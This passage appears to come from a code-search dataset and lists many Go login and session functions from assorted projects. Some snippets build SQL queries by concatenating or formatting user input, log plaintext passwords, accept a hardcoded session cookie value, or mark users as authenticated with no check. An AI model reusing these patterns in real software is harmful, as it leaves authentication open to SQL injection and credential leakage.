false\n\t}\n\n\t// IF NO ERROR WAS RETURNED, WE'RE GOOD TO ISSUE A TOKEN\n\ttoken, err = user.GetToken()\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, \"\", false\n\t}\n\n\treturn user, token, true\n\n}","func (handler *Handler) handleUserLogin(w http.ResponseWriter, r *http.Request) {\n\n\t/**\n\tDefine a struct for just updating password\n\t*/\n\ttype loginUserStruct struct {\n\t\tEmail string `json:\"email\"`\n\t\tPassword string `json:\"password\"`\n\t}\n\n\tuserCred := &loginUserStruct{}\n\n\t//decode the request body into struct and failed if any error occur\n\terr := json.NewDecoder(r.Body).Decode(userCred)\n\tif err != nil {\n\t\tutils.ReturnJsonError(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\n\t}\n\n\t//Now look up the user\n\tuser, err := handler.userHelper.GetUserByEmail(strings.TrimSpace(strings.ToLower(userCred.Email)))\n\n\t//check for an error\n\tif err != nil {\n\t\t//There prob is not a user to return\n\t\tutils.ReturnJsonError(w, http.StatusForbidden, err)\n\t\treturn\n\t}\n\n\t//We have the user, try to login\n\tuser, err = handler.userHelper.login(userCred.Password, user)\n\n\t//If there is an error, don't login\n\tif err != nil {\n\t\t//There prob is not a user to return\n\t\tutils.ReturnJsonError(w, http.StatusForbidden, err)\n\t\treturn\n\t}\n\n\t//Check to see if the user was created\n\tif err == nil {\n\t\tutils.ReturnJson(w, http.StatusCreated, user)\n\t} else {\n\t\tutils.ReturnJsonError(w, http.StatusForbidden, err)\n\t}\n\n}","func login(creds *credentials) (string, error) {\n\t// Credentials\n\tif customCreds.UserName == \"\" {\n\t\tf, err := ioutil.ReadFile(credentialsPath)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"Unable to read credentials file (%q) specified in config file (%q): %s\", credentialsPath, configPath, err)\n\t\t}\n\t\tjson.Unmarshal(f, creds)\n\t} else {\n\t\tcreds = customCreds\n\t}\n\tdata := url.Values{}\n\tdata.Set(\"userName\", creds.UserName)\n\tdata.Set(\"password\", creds.Password)\n\tdata.Set(\"orgId\", creds.OrgID)\n\tdata.Set(\"devKey\", creds.DevKey)\n\tbody := strings.NewReader(data.Encode())\n\n\t// Request\n\tresp, err := http.Post(loginURL, \"application/x-www-form-urlencoded\", body)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to send Post request to %s: %s\", loginURL, err)\n\t}\n\tdefer resp.Body.Close()\n\tr, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to read resp body from %s: %s\", loginURL, err)\n\t}\n\t// Handling responses\n\terr = handleError(r, loginURL)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to log in to Bill.com: %v\", err)\n\t}\n\tvar goodResp loginResponse\n\tjson.Unmarshal(r, &goodResp)\n\n\treturn goodResp.Data.SessionID, nil\n}","func LoginFunc(w http.ResponseWriter, r *http.Request) {\n\tsession, _ := sessions.Store.Get(r, \"session\")\n\tswitch r.Method {\n\tcase \"GET\":\n\t\tview.LoginTemplate.Execute(w, nil)\n\tcase \"POST\":\n\t\tr.ParseForm()\n\t\tusername := r.Form.Get(\"username\")\n\t\tpassword := r.Form.Get(\"password\")\n\t\t// there will not handle the empty value it should be handle by javascript\n\t\tif user.UserIsExist(username) {\n\t\t\tif user.ValidUser(username, password) {\n\t\t\t\tsession.Values[\"loggedin\"] = \"true\"\n\t\t\t\tsession.Values[\"username\"] = username\n\t\t\t\tsession.Save(r, w)\n\t\t\t\tlog.Println(\"user\", username, \"is authenticated\")\n\t\t\t\thttp.Redirect(w, r, \"/\", 302)\n\t\t\t} else {\n\t\t\t\thttp.Error(w, \"Wrong username or password\", http.StatusInternalServerError)\n\t\t\t}\n\t\t} else {\n\t\t\thttp.Error(w, \"User doesnt exist\", http.StatusInternalServerError)\n\t\t}\n\tdefault:\n\t\thttp.Redirect(w, r, \"/login/\", http.StatusUnauthorized)\n\t}\n}","func (c UserInfo) Login(DiscordToken *models.DiscordToken) revel.Result {\n\tinfo, _ := c.Session.Get(\"DiscordUserID\")\n\tvar DiscordUser models.DiscordUser\n\tif info == nil {\n\t\tuserbytevalue, StatusCode := oAuth2Discord(DiscordToken.AccessToken)\n\t\tjson.Unmarshal(userbytevalue, &DiscordUser)\n\n\t\t// If we have an invalid status code, then that means we don't have the right\n\t\t// access token. So return.\n\t\tif StatusCode != 200 && StatusCode != 201 {\n\t\t\tc.Response.Status = StatusCode\n\t\t\treturn c.Render()\n\t\t}\n\t\t// Assign to the session, the discorduser ID.\n\t\t// If we've reached here, that must mean we've properly authenticated.\n\t\tc.Session[\"DiscordUserID\"] = DiscordUser.ID\n\t}\n\tc.Response.Status = 201\n\treturn c.Render()\n}","func (authentication *Authentication) IsLogin(res http.ResponseWriter, req *http.Request) bool {\n\tsessionID, sessionIDState := cookies.GetCookie(req, \"session\")\n\tif !sessionIDState {\n\t\treturn false\n\t}\n\tsession, sessionState := authentication.userSession[sessionID.Value]\n\tif sessionState {\n\t\tsession.lastActivity = time.Now()\n\t\tauthentication.userSession[sessionID.Value] = session\n\t}\n\t_, userState := authentication.loginUser[session.email]\n\tsessionID.Path = \"/\"\n\tsessionID.MaxAge = sessionExistTime\n\thttp.SetCookie(res, sessionID)\n\treturn userState\n}","func (s service) Login(ctx context.Context, username, password string) (string, error) {\n\tuser, err := s.authenticate(ctx, username, password)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsession, err := s.sessionRepository.Get(ctx, user.ID)\n\tif err != nil {\n\t\treturn s.createSession(ctx, *user)\n\t}\n\treturn s.updateSession(ctx, *user, session)\n}","func Login(c echo.Context) error {\n\t// Read the json body\n\tb, err := ioutil.ReadAll(c.Request().Body)\n\tif err != nil {\n\t\treturn echo.NewHTTPError(http.StatusBadRequest, err.Error())\n\t}\n\n\t// Verify length\n\tif len(b) == 0 {\n\t\treturn c.JSON(http.StatusBadRequest, map[string]string{\n\t\t\t\"verbose_msg\": \"You have sent an empty json\"})\n\t}\n\n\t// Validate JSON\n\tl := gojsonschema.NewBytesLoader(b)\n\tresult, err := app.LoginSchema.Validate(l)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusBadRequest, err.Error())\n\t}\n\tif !result.Valid() {\n\t\tmsg := \"\"\n\t\tfor _, desc := range result.Errors() {\n\t\t\tmsg += fmt.Sprintf(\"%s, \", desc.Description())\n\t\t}\n\t\tmsg = strings.TrimSuffix(msg, \", \")\n\t\treturn c.JSON(http.StatusBadRequest, map[string]string{\n\t\t\t\"verbose_msg\": msg})\n\t}\n\n\t// Bind it to our User instance.\n\tloginUser := user.User{}\n\terr = json.Unmarshal(b, &loginUser)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusInternalServerError, err.Error())\n\t}\n\tloginUsername := loginUser.Username\n\tloginPassword := loginUser.Password\n\tu, err := user.GetByUsername(loginUsername)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusNotFound, map[string]string{\n\t\t\t\"verbose_msg\": \"Username does not exist !\"})\n\t}\n\n\tif !comparePasswords(u.Password, []byte(loginPassword)) {\n\t\treturn c.JSON(http.StatusUnauthorized, map[string]string{\n\t\t\t\"verbose_msg\": \"Username or password does not match !\"})\n\t}\n\n\tif !u.Confirmed {\n\t\treturn c.JSON(http.StatusUnauthorized, map[string]string{\n\t\t\t\"verbose_msg\": \"Account not confirmed, please confirm your email !\"})\n\t}\n\n\ttoken, err := createJwtToken(u)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusInternalServerError, map[string]string{\n\t\t\t\"verbose_msg\": \"Internal server error !\"})\n\t}\n\n\t// Create a cookie to place the jwt token\n\tcookie := createJwtCookie(token)\n\tc.SetCookie(cookie)\n\n\treturn c.JSON(http.StatusOK, map[string]string{\n\t\t\"verbose_msg\": \"You were logged in !\",\n\t\t\"token\": token,\n\t})\n}","func (e *EndpointSessions) auth(writer http.ResponseWriter, request *http.Request) {\n\tlogin := request.Header.Get(\"login\")\n\tpwd := request.Header.Get(\"password\")\n\tagent := request.Header.Get(\"User-Agent\")\n\tclient := request.Header.Get(\"client\")\n\n\t//try to do something against brute force attacks, see also https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks\n\ttime.Sleep(1000 * time.Millisecond)\n\n\t//another funny idea is to return a fake session id, after many wrong login attempts\n\n\tif len(login) < 3 {\n\t\thttp.Error(writer, \"login too short\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tif len(agent) == 0 {\n\t\thttp.Error(writer, \"user agent missing\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tif len(pwd) < 4 {\n\t\thttp.Error(writer, \"password too short\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tif len(client) == 0 {\n\t\thttp.Error(writer, \"client missing\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tallowed := false\n\tfor _, allowedClient := range allowedClients {\n\t\tif allowedClient == client {\n\t\t\tallowed = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !allowed {\n\t\thttp.Error(writer, \"client is invalid\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tusr, err := e.users.FindByLogin(login)\n\n\tif err != nil {\n\t\tif db.IsEntityNotFound(err) {\n\t\t\thttp.Error(writer, \"credentials invalid\", http.StatusForbidden)\n\t\t} else {\n\t\t\thttp.Error(writer, err.Error(), http.StatusInternalServerError)\n\t\t}\n\n\t\treturn\n\t}\n\n\tif !usr.Active {\n\t\thttp.Error(writer, \"credentials invalid\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tif !usr.PasswordEquals(pwd){\n\t\thttp.Error(writer, \"credentials invalid\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\t//login is fine now, create a session\n\tcurrentTime := time.Now().Unix()\n\tses := &session.Session{User: usr.Id, LastUsedAt: currentTime, CreatedAt: currentTime, LastRemoteAddr: request.RemoteAddr, LastUserAgent: agent}\n\terr = e.sessions.Create(ses)\n\tif err != nil {\n\t\thttp.Error(writer, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tWriteJSONBody(writer, &sessionDTO{Id: ses.Id, User: usr.Id})\n}","func (webauthn *WebAuthn) ValidateLogin(user User, session SessionData, parsedResponse *protocol.ParsedCredentialAssertionData) (*Credential, error) {\n\tif !bytes.Equal(user.WebAuthnID(), session.UserID) {\n\t\treturn nil, protocol.ErrBadRequest.WithDetails(\"ID mismatch for User and Session\")\n\t}\n\n\treturn webauthn.validateLogin(user, session, parsedResponse)\n}","func LogIn(w http.ResponseWriter, r *http.Request) (*LoginInfo, error) {\n\t// Create a state token to prevent request forgery and store it in the session\n\t// for later validation.\n\tsession, err := getSession(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstate := randomString(64)\n\tsession.Values[\"state\"] = state\n\terr = session.Save(r, w)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to save state in session: %v\", err)\n\t}\n\tglog.V(1).Infof(\"CheckLogin set state=%v in user's session\\n\", state)\n\tinfo := LoginInfo{\n\t\tClientId: oauthConfig.ClientID,\n\t\tStateToken: url.QueryEscape(state),\n\t\tBaseURL: BaseURL,\n\t}\n\treturn &info, nil\n}","func login(w http.ResponseWriter, r *http.Request){\n\t//Get value from cookie store with same name\n\tsession, _ := store.Get(r,\"session-name\")\n\t//Set authenticated to true\n\tsession.Values[\"authenticated\"]=true\n\t//Save request and responseWriter\n\tsession.Save(r,w)\n\t//Print the result to console\n\tfmt.Println(w,\"You have succesfully login\")\n}","func (d *DNSProvider) login() error {\n\ttype creds struct {\n\t\tCustomer string `json:\"customer_name\"`\n\t\tUser string `json:\"user_name\"`\n\t\tPass string `json:\"password\"`\n\t}\n\n\ttype session struct {\n\t\tToken string `json:\"token\"`\n\t\tVersion string `json:\"version\"`\n\t}\n\n\tpayload := &creds{Customer: d.customerName, User: d.userName, Pass: d.password}\n\tdynRes, err := d.sendRequest(\"POST\", \"Session\", payload)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar s session\n\terr = json.Unmarshal(dynRes.Data, &s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\td.token = s.Token\n\n\treturn nil\n}","func (app *application) postLogin(w http.ResponseWriter, r *http.Request) {\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tapp.clientError(w, http.StatusBadRequest)\n\t\treturn\n\t}\n\tform := forms.New(r.PostForm)\n\tform.Required(\"screenName\")\n\tform.MaxLength(\"screenName\", 16)\n\tform.Required(\"password\")\n\n\trowid, err := app.players.Authenticate(form.Get(\"screenName\"), form.Get(\"password\"))\n\tif err != nil {\n\t\tif errors.Is(err, models.ErrInvalidCredentials) {\n\t\t\tform.Errors.Add(\"generic\", \"Supplied credentials are incorrect\")\n\t\t\tapp.renderLogin(w, r, \"login.page.tmpl\", &templateDataLogin{Form: form})\n\t\t} else {\n\t\t\tapp.serverError(w, err)\n\t\t}\n\t\treturn\n\t}\n\t// Update loggedIn in database\n\tapp.players.UpdateLogin(rowid, true)\n\tapp.session.Put(r, \"authenticatedPlayerID\", rowid)\n\tapp.session.Put(r, \"screenName\", form.Get(\"screenName\"))\n\thttp.Redirect(w, r, \"/board/list\", http.StatusSeeOther)\n}","func (c *Client) Login(ctx context.Context, user *url.Userinfo) error {\n\treq := c.Resource(internal.SessionPath).Request(http.MethodPost)\n\n\treq.Header.Set(internal.UseHeaderAuthn, \"true\")\n\n\tif user != nil {\n\t\tif password, ok := user.Password(); ok {\n\t\t\treq.SetBasicAuth(user.Username(), password)\n\t\t}\n\t}\n\n\tvar id string\n\terr := c.Do(ctx, req, &id)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.SessionID(id)\n\n\treturn nil\n}","func checkLogin(next echo.HandlerFunc) echo.HandlerFunc {\n\treturn func(c echo.Context) error {\n\t\tcookie, err := c.Cookie(\"SessionID\")\n\t\tif err == nil && cookie != nil && cookie.Value == \"some hash\" {\n\t\t\treturn next(c)\n\t\t}\n\t\treturn c.Redirect(http.StatusMovedPermanently, fmt.Sprintf(\"/login?redirect=%s\", c.Path()))\n\t}\n}"],"string":"[\n \"func (a Authorizer) Login(rw http.ResponseWriter, req *http.Request, u string, p string) error {\\n\\tsession, err := skyring.Store.Get(req, \\\"session-key\\\")\\n\\tif err != nil {\\n\\t\\tlogger.Get().Error(\\\"Error Getting the session. error: %v\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\tif !session.IsNew {\\n\\t\\tif session.Values[\\\"username\\\"] == u {\\n\\t\\t\\tlogger.Get().Info(\\\"User %s already logged in\\\", u)\\n\\t\\t\\treturn nil\\n\\t\\t} else {\\n\\t\\t\\treturn mkerror(\\\"user \\\" + session.Values[\\\"username\\\"].(string) + \\\" is already logged in\\\")\\n\\t\\t}\\n\\t}\\n\\terrStrNotAllowed := \\\"This user is not allowed. Status Disabled\\\"\\n\\t// Verify user allowed to user usm with group privilage in the db\\n\\tif user, err := a.userDao.User(u); err == nil {\\n\\t\\terrStr := fmt.Sprintf(\\\"Password does not match for user: %s\\\", u)\\n\\t\\tif user.Status {\\n\\t\\t\\tif user.Type == authprovider.External {\\n\\t\\t\\t\\tif LdapAuth(a, u, p) {\\n\\t\\t\\t\\t\\tlogger.Get().Info(\\\"Login Success for LDAP\\\")\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tlogger.Get().Error(errStr)\\n\\t\\t\\t\\t\\treturn mkerror(errStr)\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tverify := bcrypt.CompareHashAndPassword(user.Hash, []byte(p))\\n\\t\\t\\t\\tif verify != nil {\\n\\t\\t\\t\\t\\tlogger.Get().Error(errStr)\\n\\t\\t\\t\\t\\treturn mkerror(errStr)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tlogger.Get().Error(errStrNotAllowed)\\n\\t\\t\\treturn mkerror(errStrNotAllowed)\\n\\t\\t}\\n\\t} else {\\n\\t\\tlogger.Get().Error(\\\"User does not exist: %s\\\", user)\\n\\t\\treturn mkerror(\\\"User does not exist\\\")\\n\\t}\\n\\t// Update the new username in session before persisting to DB\\n\\tsession.Values[\\\"username\\\"] = u\\n\\tif err = session.Save(req, rw); err != nil {\\n\\t\\tlogger.Get().Error(\\\"Error saving the session for user: %s. error: %v\\\", u, err)\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func login(w http.ResponseWriter,r *http.Request){\\n\\tsession,err:=store.Get(r,\\\"cookie-name\\\")\\n\\tif err!=nil{\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\t// Where authentication could be done\\n\\tif r.FormValue(\\\"code\\\")!=\\\"code\\\"{\\n\\t\\tif r.FormValue(\\\"code\\\")==\\\"\\\"{\\n\\t\\t\\tsession.AddFlash(\\\"must enter a code\\\")\\n\\t\\t}\\n\\t\\tsession.AddFlash(\\\"the code was incorrect\\\")\\n\\t\\terr:=session.Save(r,w)\\n\\t\\tif err!=nil{\\n\\t\\t\\tlog.Fatal(err)\\n\\t\\t}\\n\\t\\thttp.Redirect(w,r,\\\"/forbiden\\\",http.StatusFound)\\n\\t\\treturn\\n\\t}\\n\\tusername:=r.FormValue(\\\"username\\\")\\n\\tpassword:=r.FormValue(\\\"password\\\")\\n\\tuser:=&user{\\n\\t\\tUserName: username,\\n\\t\\tPassword: password,\\n\\t\\tAuthenticated: true,\\n\\t}\\n\\tsession.Values[\\\"user\\\"]=user\\n\\terr=session.Save(r,w)\\n\\tif err!=nil{\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\thttp.Redirect(w,r,\\\"/secret\\\",http.StatusFound)\\n}\",\n \"func (a Authorizer) Login(rw http.ResponseWriter, req *http.Request, u string, p string) error {\\n\\tsession, err := skyring.Store.Get(req, \\\"session-key\\\")\\n\\tif err != nil {\\n\\t\\tlogger.Get().Error(\\\"Error getting the session for user: %s. error: %v\\\", u, err)\\n\\t\\treturn err\\n\\t}\\n\\tif !session.IsNew {\\n\\t\\tif session.Values[\\\"username\\\"] == u {\\n\\t\\t\\tlogger.Get().Info(\\\"User: %s already logged in\\\", u)\\n\\t\\t\\treturn nil\\n\\t\\t} else {\\n\\t\\t\\treturn mkerror(\\\"user \\\" + session.Values[\\\"username\\\"].(string) + \\\" is already logged in\\\")\\n\\t\\t}\\n\\t}\\n\\tif user, err := a.userDao.User(u); err == nil {\\n\\t\\tif user.Type == authprovider.Internal && user.Status {\\n\\t\\t\\tverify := bcrypt.CompareHashAndPassword(user.Hash, []byte(p))\\n\\t\\t\\tif verify != nil {\\n\\t\\t\\t\\tlogger.Get().Error(\\\"Password does not match for user: %s\\\", u)\\n\\t\\t\\t\\treturn mkerror(\\\"password doesn't match\\\")\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tlogger.Get().Error(\\\"User: %s is not allowed by localauthprovider\\\", u)\\n\\t\\t\\treturn mkerror(\\\"This user is not allowed by localauthprovider\\\")\\n\\t\\t}\\n\\t} else {\\n\\t\\tlogger.Get().Error(\\\"User: %s not found\\\", u)\\n\\t\\treturn mkerror(\\\"user not found\\\")\\n\\t}\\n\\n\\t// Update the new username in session before persisting to DB\\n\\tsession.Values[\\\"username\\\"] = u\\n\\tif err = session.Save(req, rw); err != nil {\\n\\t\\tlogger.Get().Error(\\\"Error saving the session for user: %s. error: %v\\\", u, err)\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (c App) Login(user *models.User) revel.Result {\\n user.Validate(c.Validation)\\n\\n // Handle errors\\n if c.Validation.HasErrors() {\\n c.Validation.Keep()\\n c.FlashParams()\\n return c.Redirect(App.Index)\\n }\\n\\n // Storing the user's name in the session\\n c.Session[\\\"userName\\\"] = user.Name\\n c.Session.SetNoExpiration()\\n\\n // Inform the user about the success on the next page\\n c.Flash.Success(\\\"Welcome, \\\" + user.Name + \\\"!\\\")\\n\\n return c.Redirect(Todo.Index)\\n}\",\n \"func login(w http.ResponseWriter, r *http.Request) {\\n\\tlogRequest(r)\\n\\n\\t// Get a session. Get() always returns a session, even if empty.\\n\\tsession, err := store.Get(r, \\\"auth\\\")\\n\\tif err != nil {\\n\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t\\tfmt.Println(err)\\n\\t\\treturn\\n\\t}\\n\\n\\tusername := r.FormValue(\\\"username\\\")\\n\\tpassword := r.FormValue(\\\"password\\\")\\n\\n\\tuser := User{}\\n\\tquery := fmt.Sprintf(\\n\\t\\t`SELECT username, access_level FROM users WHERE username='%s'\\n\\t\\tAND password = crypt('%s', password)`, username, password)\\n\\tdb.Get(&user, query)\\n\\n\\tif user.Username != \\\"\\\" {\\n\\t\\tsession.Values[\\\"user\\\"] = user\\n\\n\\t\\terr = session.Save(r, w)\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Println(err)\\n\\t\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\treturn\\n\\t}\\n\\n\\tw.WriteHeader(http.StatusUnauthorized)\\n}\",\n \"func login(w http.ResponseWriter, r *http.Request) {\\n\\n\\t// Start the session.\\n\\tsession := sessions.Start(w, r)\\n\\tif len(session.GetString(\\\"username\\\")) != 0 && checkErr(w, r, err) {\\n\\t\\t// Redirect to index page if the user isn't signed in. Will remove later.\\n\\t\\thttp.Redirect(w, r, \\\"/\\\", 302)\\n\\t}\\n\\n\\tif r.Method != \\\"POST\\\" {\\n\\t\\tvar data = map[string]interface{}{\\n\\t\\t\\t\\\"Title\\\": \\\"Log In\\\",\\n\\t\\t}\\n\\n\\t\\terr := templates.ExecuteTemplate(w, \\\"login.html\\\", data)\\n\\n\\t\\tif err != nil {\\n\\t\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t\\t}\\n\\t\\treturn\\n\\t}\\n\\n\\tusername := r.FormValue(\\\"username\\\")\\n\\tpassword := r.FormValue(\\\"password\\\")\\n\\n\\tusers := QueryUser(username)\\n\\n\\t// Compare inputted password to the password in the database. If they're the same, return nil.\\n\\tvar password_compare = bcrypt.CompareHashAndPassword([]byte(users.Password), []byte(password))\\n\\n\\tif password_compare == nil {\\n\\n\\t\\tsession := sessions.Start(w, r)\\n\\t\\tsession.Set(\\\"username\\\", users.Username)\\n\\t\\tsession.Set(\\\"user_id\\\", users.ID)\\n\\t\\thttp.Redirect(w, r, \\\"/\\\", 302)\\n\\n\\t} else {\\n\\n\\t\\thttp.Redirect(w, r, \\\"/login\\\", 302)\\n\\n\\t}\\n\\n}\",\n \"func AuthenticateLoginAttempt(r *http.Request) *sessions.Session {\\n\\tvar userid string\\n\\tlog.Println(\\\"Authenticating Login credentials.\\\")\\n\\tattemptEmail := template.HTMLEscapeString(r.Form.Get(\\\"email\\\")) //Escape special characters for security.\\n\\tattemptPassword := template.HTMLEscapeString(r.Form.Get(\\\"password\\\")) //Escape special characters for security.\\n\\tlog.Println(\\\"Attempt email :\\\", attemptEmail, \\\"Attempt Password:\\\", attemptPassword)\\n\\trow := databases.GlobalDBM[\\\"mydb\\\"].Con.QueryRow(\\\"SELECT userid FROM user WHERE email = '\\\" + attemptEmail + \\\"' AND password = '\\\" + attemptPassword + \\\"'\\\")\\n\\terr := row.Scan(&userid)\\n\\tif err != nil { // User does not exist.\\n\\t\\tlog.Println(\\\"User authentication failed.\\\")\\n\\t\\treturn &sessions.Session{Status: sessions.DELETED}\\n\\t}\\n\\t//User exists.\\n\\tlog.Println(\\\"User authentication successful. Creating new Session.\\\")\\n\\treturn sessions.GlobalSM[\\\"usersm\\\"].SetSession(userid, time.Hour*24*3) // Session lives in DB for 3 days.\\n}\",\n \"func AuthenticateLoginAttempt(r *http.Request) *sessions.Session {\\n\\tvar userid string\\n\\tlog.Println(\\\"Authenticating Login credentials.\\\")\\n\\tattemptEmail := template.HTMLEscapeString(r.Form.Get(\\\"email\\\")) //Escape special characters for security.\\n\\tattemptPassword := template.HTMLEscapeString(r.Form.Get(\\\"password\\\")) //Escape special characters for security.\\n\\tlog.Println(\\\"Attempt email :\\\", attemptEmail, \\\"Attempt Password:\\\", attemptPassword)\\n\\trow := databases.GlobalDBM[\\\"mydb\\\"].Con.QueryRow(\\\"SELECT userid FROM user WHERE email = '\\\" + attemptEmail + \\\"' AND password = '\\\" + attemptPassword + \\\"'\\\")\\n\\terr := row.Scan(&userid)\\n\\tif err != nil { // User does not exist.\\n\\t\\tlog.Println(\\\"User authentication failed.\\\")\\n\\t\\treturn &sessions.Session{Status: sessions.DELETED}\\n\\t}\\n\\t//User exists.\\n\\tlog.Println(\\\"User authentication successful. Creating new Session.\\\")\\n\\treturn sessions.GlobalSM[\\\"usersm\\\"].SetSession(userid, time.Hour*24*3) // Session lives in DB for 3 days.\\n}\",\n \"func Login(r *http.Request, username string, password string) (*Session, bool) {\\n\\tif PreLoginHandler != nil {\\n\\t\\tPreLoginHandler(r, username, password)\\n\\t}\\n\\t// Get the user from DB\\n\\tuser := User{}\\n\\tGet(&user, \\\"username = ?\\\", username)\\n\\tif user.ID == 0 {\\n\\t\\tIncrementMetric(\\\"uadmin/security/invalidlogin\\\")\\n\\t\\tgo func() {\\n\\t\\t\\tlog := &Log{}\\n\\t\\t\\tif r.Form == nil {\\n\\t\\t\\t\\tr.ParseForm()\\n\\t\\t\\t}\\n\\t\\t\\tctx := context.WithValue(r.Context(), CKey(\\\"login-status\\\"), \\\"invalid username\\\")\\n\\t\\t\\tr = r.WithContext(ctx)\\n\\t\\t\\tlog.SignIn(username, log.Action.LoginDenied(), r)\\n\\t\\t\\tlog.Save()\\n\\t\\t}()\\n\\t\\tincrementInvalidLogins(r)\\n\\t\\treturn nil, false\\n\\t}\\n\\ts := user.Login(password, \\\"\\\")\\n\\tif s != nil && s.ID != 0 {\\n\\t\\ts.IP = GetRemoteIP(r)\\n\\t\\ts.Save()\\n\\t\\tif s.Active && (s.ExpiresOn == nil || s.ExpiresOn.After(time.Now())) {\\n\\t\\t\\ts.User = user\\n\\t\\t\\tif s.User.Active && (s.User.ExpiresOn == nil || s.User.ExpiresOn.After(time.Now())) {\\n\\t\\t\\t\\tIncrementMetric(\\\"uadmin/security/validlogin\\\")\\n\\t\\t\\t\\t// Store login successful to the user log\\n\\t\\t\\t\\tgo func() {\\n\\t\\t\\t\\t\\tlog := &Log{}\\n\\t\\t\\t\\t\\tif r.Form == nil {\\n\\t\\t\\t\\t\\t\\tr.ParseForm()\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tlog.SignIn(user.Username, log.Action.LoginSuccessful(), r)\\n\\t\\t\\t\\t\\tlog.Save()\\n\\t\\t\\t\\t}()\\n\\t\\t\\t\\treturn s, s.User.OTPRequired\\n\\t\\t\\t}\\n\\t\\t}\\n\\t} else {\\n\\t\\tgo func() {\\n\\t\\t\\tlog := &Log{}\\n\\t\\t\\tif r.Form == nil {\\n\\t\\t\\t\\tr.ParseForm()\\n\\t\\t\\t}\\n\\t\\t\\tctx := context.WithValue(r.Context(), CKey(\\\"login-status\\\"), \\\"invalid password or inactive user\\\")\\n\\t\\t\\tr = r.WithContext(ctx)\\n\\t\\t\\tlog.SignIn(username, log.Action.LoginDenied(), r)\\n\\t\\t\\tlog.Save()\\n\\t\\t}()\\n\\t}\\n\\n\\tincrementInvalidLogins(r)\\n\\n\\t// Record metrics\\n\\tIncrementMetric(\\\"uadmin/security/invalidlogin\\\")\\n\\treturn nil, false\\n}\",\n \"func loginUser(w http.ResponseWriter, r *http.Request){\\n\\tsess := globalSessions.SessionStart(w, r)\\n\\n\\tif r.Method != \\\"POST\\\" {\\n\\t\\thttp.ServeFile(w,r, \\\"login.html\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tusername := r.FormValue(\\\"email\\\")\\n\\tpassword := r.FormValue(\\\"password\\\")\\n\\n\\n\\n\\tvar user_id int\\n\\tvar databaseUserName, databasePassword string\\n\\n\\trow := db.QueryRow(\\\"SELECT * FROM main_user WHERE user_email = $1 \\\", username).Scan(&user_id,&databaseUserName, &databasePassword)\\n\\t//no user found\\n\\tif row != nil {\\n\\t\\ttempl.ExecuteTemplate(w, \\\"login\\\" ,\\\"No user in db\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t//wrong password\\n\\tif err := bcrypt.CompareHashAndPassword([]byte(databasePassword), []byte(password)); err != nil {\\n\\t\\t//log.Fatal(\\\"Error comparing passwords\\\", err)\\n\\t\\ttempl.ExecuteTemplate(w, \\\"login\\\" ,\\\"Username and password did not match! Please try again\\\")\\n\\t\\treturn\\n\\t} else { //Login was sucessful, create session and cookie\\n\\t\\tu1 := user_id\\n\\t\\tsess.Set(\\\"username\\\", r.Form[\\\"email\\\"])\\n\\t\\tsess.Set(\\\"UserID\\\", u1)\\n\\t\\thttp.Redirect(w,r, \\\"/user\\\", http.StatusSeeOther)\\n\\t\\t//templ.ExecuteTemplate(w, \\\"userHome\\\", \\\"Welcome \\\" + databaseUserName)\\n\\t\\treturn\\n\\t}\\n}\",\n \"func (sry *Sryun) Login(res http.ResponseWriter, req *http.Request) (*model.User, bool, error) {\\n\\tusername := req.FormValue(\\\"username\\\")\\n\\tpassword := req.FormValue(\\\"password\\\")\\n\\n\\tlog.Infoln(\\\"got\\\", username, \\\"/\\\", password)\\n\\n\\tif username == sry.User.Login && password == sry.Password {\\n\\t\\treturn sry.User, true, nil\\n\\t}\\n\\treturn nil, false, errors.New(\\\"bad auth\\\")\\n}\",\n \"func (h UserRepos) Login(ctx context.Context, w http.ResponseWriter, r *http.Request, params map[string]string) error {\\n\\n\\tctxValues, err := webcontext.ContextValues(ctx)\\n\\tif err != nil {\\n\\t\\treturn 